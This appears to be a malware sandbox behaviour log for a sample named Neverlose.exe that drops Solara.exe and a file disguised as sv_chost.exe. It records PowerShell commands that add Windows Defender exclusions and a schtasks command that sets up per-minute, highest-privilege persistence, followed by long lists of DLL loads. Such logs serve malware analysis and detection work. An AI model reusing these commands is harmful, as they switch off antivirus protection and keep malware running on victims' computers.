Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\Solara.exe "C:\Users\user\AppData\Local\Temp\Solara.exe"
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\sv_chost.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'sv_chost.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "sv_chost" /tr "C:\Users\user\AppData\Roaming\sv_chost.exe"
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\sv_chost.exe C:\Users\user\AppData\Roaming\sv_chost.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\sv_chost.exe "C:\Users\user\AppData\Roaming\sv_chost.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\sv_chost.exe "C:\Users\user\AppData\Roaming\sv_chost.exe"
Source: C:\Users\user\Desktop\Neverlose.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe'	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process created: C:\Users\user\AppData\Local\Temp\Solara.exe "C:\Users\user\AppData\Local\Temp\Solara.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process created: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe "C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Solara.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\sv_chost.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'sv_chost.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "sv_chost" /tr "C:\Users\user\AppData\Roaming\sv_chost.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: rsaenh.dll
